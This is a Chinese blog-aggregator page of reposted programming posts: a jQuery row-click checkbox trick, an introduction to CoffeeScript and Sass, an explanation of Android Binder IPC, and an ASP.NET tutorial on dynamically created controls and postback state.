我不知道实际开发中有没有用到这种效果,但我个人认为,这种方式更人性化,因为只要点到一行,就可以使CheckBox.checked=true; 不用非得点复选按钮才能实现;

实现的过程有点纠结,试了几次都没成,最后用了一个笨笨的方法,就是点击行的时候,让他的子元素(td)的背景颜色为红色.(因为我用到了光棒效果,如果我点击行(td)的时候,颜色是变了,但鼠标一离开的时候就又变回原来的颜色了)

可能你会问我了,那你咋判断CheckBox的状态是不是checked(勾选状态)啊?

其 实我根本没去对它进行判断…. 希望大家不要喷我。我只是判断了一下选中行的子元素(td)的背景颜色和document.body的背景颜色是不是一样,如果一样,就让 CheckBox.checked=true,不一样就让CheckBox.checked=false.

思路就是这么个思路,如果谁还有更好的方法贴上来,大家一起学习学习..

JQuery中用到的方法:

first():第一个元素;

nextAll():在XX之后的所有元素:主要为了把第一行的表头去掉

children():查找子元素;

toggleClass();切换样式

attr():给CheckBox添加checked属性;

主要实现的代码:

       $(function () {
            //除了表头(第一行)以外所有的行添加click事件.
            $("tr").first().nextAll().click(function () {
                //为点击的这一行切换样式bgRed里的代码:background-color:#FF0000;
                $(this).children().toggleClass("bgRed");
                //判断td标记的背景颜色和body的背景颜色是否相同;
                if ($(this).children().css("background-color") != $(document.body).css("background-color")) {
                    //如果相同,CheckBox.checked=true;
                    $(this).children().first().children().attr("checked", true);

                } else {
                    //如果不同,CheckBox.checked=false;
                    $(this).children().first().children().attr("checked", false);
                }
            });
       });

[转载]CoffeeScript和Sass提高Web开发效率

mikel阅读(920)

[转载]CoffeeScript和Sass提高Web开发效率 – 葡萄城控件技术团队博客 – 博客园.

如果您是一位每天都要编写JavaScript和Css的Web前端开发人员,可能您已 经开始感觉到JavaScript的关键字 var, function, {} 要被您每天敲击若干遍。是否可以省掉这些重复的敲击。编写Css,先要一层一层的选到元素,然后开始写样式,如果要写下一层的样式,又要重复的选一次父层 元素然后再到子层,Css是否可以嵌套呢。

下面是同样功能的CoffeeScript和JavaScript的代码对比:

26_132831_rohvcs1

同样功能的Sass代码和Css代码的对比:

2

是不是CoffeeScript和Sass更加的简洁易懂,同时又省了很多代码? CoffeeScript和Sass都采用了简洁的Ruby语法风格,都是用代码生成代码,即用右边的CoffeeScript代码生成左边的 JavaScript代码,用Sass/Scss代码生成Css代码。这两个Library的作者都想用新的代码方式来省去一些重复的,有些”铺张”的代 码。
CoffeScript:
http://jashkenas.github.com/coffee-script/

CoffeeScript的一些有用特性:
1.  Lexical Scoping and Variable Safety
2.  If, Else, Unless, and Conditional Assignment
3.  The Existential Operator
4.  Classes, Inheritance, and Super
5.  Function binding
6.  Extended Regular Expressions

Sass:
http://sass-lang.com/

Sass 的一些有用特性:
1.  Variables: 变量以$开始,它能定义 颜色,数字,或者文字。
2.  Nesting: 嵌套,将选择器嵌入到其他层级的选择器。
3.  Mixins: 混合类型,允许抽象出性质的共同点,然后命名并且加入到选择器中。
4.  Selector Inheritance: 继承,继承其它选择器的属性。
5.  Functions: 函数,支持简单的算术操作,如+-×/,及函数。如:将某颜色亮度增加10%: lighten(red, 10%)。

欢迎大家在GCDN讨论~~

[转载]Android平台的IPC机制的模型((Inter Process Communications)

mikel阅读(922)

[转载]Android平台的IPC机制的模型((Inter Process Communications)–Binder – bitfairyland – 博客园.

Android平台一个突出的特点就是打破传统应用开发那种程序独立,进程独立的特性,最大限度实现了复用的理念。

在传统的平台中,进程是完全独立的,P1和P2直接是完全独立的,像有一道墙一样。

N`@Y)LV(AX8){13I[W]@MXB

Android平台打破了这道墙,就是android的Binder机制

image

现在来分析下Binder的机制,在传统的平台中,有DCOM,MS等技术,而Binder的本质也是MS技术的衍生

image

假设P2想调用P1的一个方法,因为中间有一道墙是没办法直接调用的,是通过一个代理来完成对P1进程方法的调用的

image

代理完成的是对P1的f1的方法的映射,但是这里并不是真实的f1方法,只是命令行,还是P1进程完成的方法的执行

image

而这样就有大部分重复的工作,而Android是通过c++的template来完成的,完成对这些冗余代码的封装也就是binder了

通过IBinder接口的继承形成了一个Server和clent的机制

P2像操作系统的binder驱动层发送一个对P1方法的请求,而且binder驱动层完成一个对f1的调用和反馈。

[转载]ASP.NET点击按钮动态创建控件并获得值的原理及方法

mikel阅读(805)

[转载]点击按钮动态创建控件并获得值的原理及方法 – wlf – 博客园.

说到动态创建控件 就必须说下页面的生命周期了  上个简单的图

说下可能遇到的问题  控件创建好了  但再点别的按钮时  就又消失了  因为没有保存状态

还有的在Init查看Viewstate等 这些都是对页面生命周期理解的并不清楚~ 下面上demo说

第一步 先是动态创建控件

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:HiddenField ID="HFControl" runat="server" />
<asp:Button ID="BtnCreate" runat="server" Text="动态创建"
onclick="BtnCreate_Click" />
<asp:Button ID="GetValue" runat="server" Text="获取选中的值"
onclick="GetValue_Click" />
<asp:Label ID="lbl" runat="server" Text=""></asp:Label>
<asp:Panel ID="PanelControl" runat="server">
</asp:Panel>
</div>
</form>
</body>
</html>

第二部 动态创建的code 这里说下 点击按钮动态创建的原理 点击按钮时 给HiddenField赋值 或者Viewstate赋值 然后在创建控件 这样当每次进入页面时 判断iddenField或者Viewstate是否有值 有值则显示那个动态创建的控件 这样就保存住里状态 当你再点其他控件时则不会丢失了 再次强调 不要写在!IsPostBack里面 那个是是否回发

protected void Page_Load(object sender, EventArgs e)
    {
        //1.创建控件不要写在IsPostBack    2.Viewstate和控件的值 要在视图 装载完成后才有值 所以不要再Init等里面用
        if (!string.IsNullOrEmpty(HFControl.Value) && HFControl.Value=="flag")
        {
            CreateDropDownList();
        }
        if (!IsPostBack)//这个是判断是否为回发  如果把创建控件写在这里  控件当然会消失咯
        {
           
        }
    }


  /// <summary>
    /// 创建控件
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void BtnCreate_Click(object sender, EventArgs e)
    {
        HFControl.Value = "flag";
        CreateDropDownList();
    }

    /// <summary>
    /// 动态创建DropDownList控件
    /// </summary>
    private void CreateDropDownList()
    {
        DropDownList ddl = new DropDownList();
        ddl.ID = "ddldynamic";
        ddl.Items.Add(new ListItem("1", "1"));
        ddl.Items.Add(new ListItem("2", "2"));
        ddl.Items.Add(new ListItem("3", "3"));
        ddl.Items.Add(new ListItem("4", "4"));
        ddl.AutoPostBack = true;
        ddl.SelectedIndexChanged += new EventHandler(ddl_SelectedIndexChanged);//给ddl添加事件
        PanelControl.Controls.Add(ddl);
    } 

第三部 则是点击控件 获得动态创建的控件选中的值 这里写了点击控件获得 还写了 自身回发事件获得

 /// <summary>
    /// 点击按钮 获得选中的ddl的值
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void GetValue_Click(object sender, EventArgs e)
    {
        DropDownList ddl = PanelControl.FindControl("ddldynamic") as DropDownList;
        if (ddl != null)
        {
            lbl.Text ="点击按钮得到的值为"+ddl.SelectedValue;
        }
    }

    /// <summary>
    /// 动态创建的DropDownList的事件   注意动态创建时 订阅了这个事件
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void ddl_SelectedIndexChanged(object sender, EventArgs e)
    {
        DropDownList ddl= sender as DropDownList;
        if (ddl != null)
        {
            lbl.Text ="通过自身回发事件得到的值为"+ddl.SelectedValue;
        }
    }

顺便说下 在页面里加上 Page指令里 加上 Trace=”true” 可以看到很多细节 帮助很大

好了~~ 这样常用的一些动态创建控件的操作就写完了 与大家分享下~ 下一篇写下

IsPostBack 的本质和原理~ 看到很多人说 在page里都要加上这个 看~ 今天的例子不就没加么~

欢迎关注~